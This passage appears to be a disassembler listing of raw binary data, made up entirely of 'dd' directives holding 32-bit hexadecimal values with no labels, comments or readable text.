7A6E80D8h dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h, 1F06267Ch dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h, 2469000Bh dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h dd 83A295D5h, 3F2F7A0h, 740068F0h, 783E9822h, 574946h dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh, 0ECEA01F6h dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h, 761350B6h dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh, 2FE140D9h dd 7F13BE9h, 6C0B2B44h, 7BC0BE58h, 0FCB778A0h, 79DC300h dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh, 88CF815Ch dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h, 58FC00F2h dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh dd 96351EC9h, 973E803Ch, 95AAC277h, 0B87E7170h, 0C3E203AAh dd 6F2FD30h, 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h dd 5F1DFF4Ch, 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch dd 22C12EB3h, 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h dd 0F575AF8h, 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h dd 38390008h, 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch dd 2C918C2h, 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h dd 0FE60D353h, 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h dd 70D0FDF2h, 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh dd 0EC18B25h, 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h dd 20B449EAh, 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh dd 2C6440C0h, 197ECh, 173C07A2h, 41D122C9h, 2452D900h dd 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh dd 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h, 3ADB9DD6h, 3E6AF880h dd 83747972h, 0BA934800h, 133F0AC2h, 5FE870h, 767C0F45h dd 0A68F854Fh, 3E3CF39h, 900EDCF5h, 70409801h, 4E0F018Eh dd 582D8921h, 0E0B4F5FAh dd 760EC359h, 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h dd 72310C89h, 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh dd 99F85EECh, 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h dd 0C314034Fh, 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h dd 486E2D2Ah, 580570FAh, 0F0817C90h, 4E019555h, 0BF5E0F9Eh dd 0D6C9C9CFh, 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh dd 0D9F641C1h, 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h dd 2E0591B0h, 16A101ABh, 0FCCFCE20h, 92F1C8DFh, 1101CC7Ah dd 84321E36h, 0F840563Bh, 22824Ch, 4F2A7063h, 8EF60F7Ch dd 98CF39h, 0C2A8CBA1h, 3A94E124h, 27AE38D3h, 1E200FC5h dd 0B3329201h, 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h dd 0E2F8F641h, 72380F07h, 83E04E15h, 64C35CD8h, 0E26FD307h dd 0C69049B2h, 924D7F9h, 859FEDD6h, 5AFE9170h, 8056B03Ah dd 0F8A6F490h, 9A94ABh, 0AAA0D813h, 773A394Eh, 3E1E59F0h dd 4C0EC49h, 40900C3Dh, 423000BCh, 0ADA0997h, 1239E002h dd 8E76B857h, 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h dd 5B133C9Dh, 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h dd 84629F96h, 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h dd 0CFA2E80Fh, 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h dd 4A384929h, 395D9699h, 890083F9h, 0A1278A68h, 0B17BAC61h dd 0D26CCB00h, 6436DE2Eh, 184E00FCh, 78D82A49h, 3BF01EB8h dd 8756C23Bh, 30546C62h, 0C0D375A2h, 0EB53CAAh, 0E27E0E50h dd 95DF140h, 430E2506h, 63AF3487h, 14A4D9h, 3BA03AACh dd 3DB43CA5h, 0DE2CC91Fh, 3EB18404h, 58882A80h, 0FEDBFEDAh dd 1E3F4DFh, 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h dd 0FD000D3Fh, 37CF258Eh, 4F3D380Fh, 1E558F9Eh, 0C96D8067h dd 4EC05881h, 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh dd 0E4000982h, 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh dd 0C26B9200h, 50698074h, 0C4C2A09Ch, 36AF4B8h, 0F6C97831h dd 1000D9BDh, 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h dd 351A8500h, 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h dd 0C8C50C17h, 8DF40Fh, 6CE1918Bh, 539DF999h, 0F2A5FC00h dd 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh dd 0C08CF872h, 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h dd 0A27E3A40h, 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h dd 987A9CD8h, 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh dd 3D613C4Dh, 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch dd 6CAB9Ch, 9302F624h, 8600C218h, 0C0E48457h, 9085E808h dd 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h dd 0A4392EDDh, 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h dd 2171FE4Dh, 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh dd 36E9A300h, 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh dd 4C35272Dh, 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h dd 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh dd 80508BB5h, 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h dd 0C23B3A84h, 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh dd 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh dd 44F6C838h, 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h dd 0DC9270E8h, 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h dd 0E1ECB1E8h, 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h dd 9EA81D60h, 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h dd 9EC669D7h, 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh dd 0CE0F7E49h, 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h dd 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h dd 0F0E947B2h, 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h dd 0BE443EC2h, 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh dd 0CF862C8Ah, 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h dd 2AE4D68Eh, 3D030013h, 260F097h, 7D003E2Fh, 3F217081h dd 4386C29h, 4C26453Bh, 500ABAEh, 0C811E088h, 39EA015Ch dd 2D663A2Fh, 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h dd 0F07E3409h, 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h dd 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h dd 5EFCF04Dh, 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch dd 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h dd 0CC38C003h, 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h dd 0E82972E0h, 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h dd 0CC4C68D6h, 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h dd 0EF8020E9h, 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh dd 0D6282CE0h, 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h dd 3A49D93Eh, 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh dd 0C4B88098h, 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh dd 92626088h, 0AE8276h, 2C7C7E9Eh, 3249017Ah, 4D334200h dd 0EC3C80C9h, 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h dd 0DA300964h, 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h dd 169E5E1Dh, 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h dd 69385C12h, 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh dd 0C390516h, 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h dd 0C968660Fh, 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h dd 0E6724009h, 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h dd 2A8E3F4Bh, 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h dd 0AB0C1C0Bh, 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h dd 0E3603E41h, 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch dd 0DE1C1072h, 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h dd 0D812EE0Bh, 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh dd 265081B7h, 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h dd 9682DC06h, 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh dd 0C8FA4D80h, 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h dd 0FCC7F8BCh, 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h dd 96849754h, 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h dd 745B7239h, 8F704983h, 3EAE3D00h, 0EAF32CC6h, 1EC001B3h dd 46A2B92h, 0E956E4C1h, 4B00F1E2h, 0F24CE238h, 3824763Bh dd 3D80099Fh, 4E32D847h, 2E00C366h, 0DC94D28Ch, 279C122Ch dd 4DC19E83h, 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h dd 0B29D0043h, 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h dd 7724F080h, 499E00D2h, 0E100D6FAh, 6807E9F5h, 3263A66h dd 3CE42B24h, 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh dd 0E7F8FA07h, 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh dd 0A17207C0h, 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h dd 89951A00h, 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h dd 608E6163h, 0B7E2B0A5h, 98879703h, 93CEE7C4h, 0E4DAA0D5h dd 9CBC01E2h, 5804F32Dh, 2794DC09h, 8C07161Eh, 93FE8FC0h dd 0FE36323Fh, 7E8A3C70h, 3772007Fh, 8640A06Bh, 0A5E21CB4h dd 1DB89D00h, 15F09ECDh dd 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h dd 5602C11Dh, 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh dd 7449176Ch, 7C5E04D8h, 0C8B3C05Bh, 401C5070h, 1C014F0h dd 0EE300BA3h, 3A7C32h, 0F916640Ch, 2F34B8FDh, 0C6610500h dd 0E177310Dh, 0E3B0086h, 29ED25E0h, 560028CCh, 2E7353Fh dd 741C53Dh, 0FC4992A0h, 0FD51204Dh, 59008C20h, 611FFA94h dd 76593h, 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah dd 0F77A48DEh, 987C4B00h, 76165C26h, 96308312h, 0ACFA4A00h dd 12B0D4h, 0BC684FB4h, 7678C0CBh, 75C85B3Bh, 50F08B00h dd 87F84ACAh, 3F032772h, 0C200D4ECh, 7E265814h, 48204A1Ch dd 0F413F68Bh, 28EEE292h, 6000FAB7h, 68E564E7h, 3E70DE4Ah dd 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h dd 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h dd 0C32A08E0h, 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h dd 79FBD0C7h, 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h dd 8416A29Ch, 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h dd 88D860C9h, 2305E71Dh, 2D01BC9Fh, 0C0C83166h, 0C93CCCh dd 0F0686F40h, 4F2EFD64h, 81709E3Dh, 7CECC174h, 84C880F9h dd 2FE60078h, 9404418Ch, 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h dd 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h, 3C100905h dd 94A87C78h, 0E15C8A00h, 74F96C12h, 84222F00h, 44AE568Ch dd 0AAAC01A4h, 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h dd 0B8E884D2h, 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh dd 6FB02CC1h, 7BB8F80Bh, 1C4107FEh, 0A02F3834h, 20704832h dd 0F5C5A00h, 6CCB689Ah, 2FF0747Bh, 0AB63DC79h, 96F441BFh dd 0C04630F8h, 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h dd 0E285B778h, 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h dd 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h dd 4FDE00E4h, 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h dd 4F48D0B8h, 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h dd 28068480h, 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h dd 88B00F2Fh, 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh, 0E80FC76h dd 8490438h, 4A48EE58h, 18F00073h, 0F4561CE2h, 147B01Fh dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h dd 4B854E4h, 602F5C3Fh, 15A00E03h, 85B6AB01h, 3FF013Bh dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh, 4D02E00Ah dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h, 89AD30D8h dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h, 0E853C70Ch dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h, 0A3807623h dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh, 9D0309C5h dd 51A0BB05h, 2F29A03h, 6EBD8880h, 12D0070h, 85FE4C75h dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h, 56000BDBh dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh dd 36104837h, 0F90CC1h, 8DA5F302h, 3C0377E1h, 535EA400h dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h, 79D89DD0h dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh dd 834E548Bh, 0D17308h, 0ADCA7DACh, 0C107EF66h, 910CEB00h dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h, 0E3001481h dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h, 8DBD462Dh dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h, 40C0850Ch dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h, 2A25A66Fh dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h, 4939012Ah dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h, 140200E2h dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah, 0FEEBF0C1h dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h, 61022F11h dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h, 306A5F10h dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h, 0AB10D4h dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h, 0E49B00F2h dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh, 31EEE4h dd 13B5A1Fh, 3733888Ah, 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h, 17607C0Eh dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h dd 6D009579h, 57B9D5E4h, 38DEA83h, 82B7CD0Fh, 7C00DBCh dd 0B103FD41h, 87A3972Ah, 8ACFE029h, 48240078h, 0B7EA61E9h dd 0D5EE7649h, 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h dd 0A0656631h, 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh dd 0AD30EC57h, 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh dd 0A575C410h, 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh dd 71959987h, 3F8F1CA0h, 4698003Dh, 0DB31A266h, 50030A8Eh dd 5DA8D0F7h, 59C6D05Ch, 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h dd 8100262Dh, 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h dd 0D79BE600h, 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h dd 7F834AC6h, 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h dd 0C78E62D4h, 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh dd 512E1E0Eh, 451A4069h, 0F430F8Ch, 0B82A844Eh, 0FA7B6C20h dd 0B400A860h, 768BC7DFh, 7DB91A0h, 179A270Ah, 487F006Bh dd 0EA038997h, 633644D0h, 1504E083h, 18CECDFh, 35586176h dd 0C46F24BFh, 0E63B5599h, 0EC2B0019h, 17685464h, 0A16A00D0h dd 0BB2624A3h, 0F47C76F0h dd 1DAFDB04h, 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh dd 737938h, 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh dd 7B9D3700h, 0CEB45Ch, 62574738h, 33B5B6E9h, 61B30800h dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h dd 53458EC0h, 4072200h, 0EC5FD244h, 0D3C80020h, 0A96D7C14h dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h, 15850056h dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h, 9207A7B1h dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh dd 0A8C26Dh, 6878AC54h, 0F73128F3h, 0B033C500h, 9B35B6B1h dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h, 500BEF73h dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h, 0E21CB602h dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh dd 6206E52h, 98707B9Eh, 50657AE5h, 6F643E70h, 375FB875h dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh, 2E63C66Dh dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh, 1E2BA2A3h dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h dd 10060h, 3C640000h, 8590000h, 5CC1F45Ch, 823B47DDh, 0CDA544FCh dd 0F7D7243Ah, 0BE8D6916h, 0C98F30F6h, 0B9659FBFh, 83AE2A40h dd 2E6573F5h, 0B11C1A6Eh, 233D17C5h, 811B9809h, 1CA9178Ah dd 0C320DEE8h, 0D9BD4304h, 0EA6BC182h, 93A6CA91h, 4C023C31h dd 49C2CB52h, 794C268Ch, 0CA606FB2h, 3F185120h, 0D9481F37h dd 0BC057A4Fh, 0C7F8D181h, 0C7C1178Eh, 801B4BB3h, 2B87D5CBh dd 0BBBACE71h, 0E3ED7A6Ah, 6DCE4824h, 359F5876h, 7F6DACFAh dd 76D55207h, 9BE15D6Fh, 29DB91DCh, 364829E4h, 57D438ECh dd 5A6641AEh, 7ED64765h, 80B94BEAh, 1B313B5Ch, 0E138D641h dd 6097DADCh, 0D60CADCDh, 0A280B380h, 0B77C1C69h, 43145EEFh dd 33568473h, 2E136F4Bh, 870126A1h, 6DC9B788h, 2FBDE64Dh dd 0EF6C4FAh, 8D5A60BAh, 790F330Ah, 564DF357h, 7F72852Ah dd 0F082A6FDh, 1CA38071h, 0C79FD279h, 0EEE6F220h, 468E74C7h dd 0ED71E601h, 0E89C7AC9h, 32BDFB63h, 68013A21h, 3CEF20Fh dd 709491Ah, 91A04105h, 7486E0D6h, 0FBC5D1E6h, 0C98A989Ch dd 0C5DEF1h, 0E620318h, 26E52A3h, 0C54C7427h, 70B0C0B4h dd 62EBC17Bh, 575E0DDFh, 43233BE2h, 0CB1FDF94h, 4C195C0Dh dd 0CB9ED0Fh, 48B371A2h, 0A121E03Ch, 0BB0A4D5Ah, 4CB1E957h dd 9B8829D2h, 35FCF69Dh, 8E530AE8h, 5A12234Bh, 212BD950h dd 744E1F29h, 0EDC60F31h, 0AEC3C1E3h, 0AA967F25h, 5396C6E9h dd 0DA085FF6h, 0C7B132F0h, 9414D75h, 1140AB95h, 36CB2DEBh dd 65863DEFh, 0AE4CBB9Eh, 673BAA19h, 0C101617Ah, 785C104Ch dd 683681C6h, 0B369F49Ah, 0D72F4D1Fh, 72078429h, 7517092Fh dd 1BF1F4E2h, 7F7797EDh, 1A067310h, 0D8C6A45Ah, 0D184FA54h dd 198FAB33h, 0CEE4BDF7h, 0B97528FEh, 0B25893A6h, 0FC70A0BFh dd 0EEA8595Dh, 46106CD4h, 425294BEh, 43C3F638h, 26FE3F9Fh dd 0A96BB61Bh, 87B018D7h, 93E53C0Ch, 7568B28Ch, 90D305ECh dd 96508925h, 0D3EB43B2h, 4611E125h, 0BC5A76D9h, 307B101Bh dd 0F6E9F85Eh, 0CB3537E4h, 9E4A455h, 744ECF39h, 4F5AC152h dd 0FB9B58AAh, 0C724C908h, 229BAA48h, 0B5268D46h, 75FAA65h dd 5D30D5B0h, 36B03B18h, 7B1D31A7h, 0FFA5A76h, 8861E3C9h dd 0E85FA978h, 0B5C1B60Eh, 169EAF7Bh, 0D9850AD2h, 1F85BA7Ah dd 58A944CDh, 89C2417h, 5EDED592h, 84B9CA0Fh, 0F924A3EAh dd 0F2F067D3h, 2F615B8Ch, 1E4FA140h, 2D7F9073h, 8752E75Eh dd 4613B4D8h, 0A7EC56Ch, 481C43BDh, 9E4E3C27h, 0A26C7CAFh dd 0E07F20CDh, 6C07A38h, 97B6EA28h, 0DC977FEDh, 468C5F89h dd 0E9C2523Eh, 0D9B91560h, 500A0A54h, 3019EC3Fh, 0A3E6D17h dd 93C3059Ah, 0DCCA4943h, 0CDBCE67Fh, 0EDF0C745h, 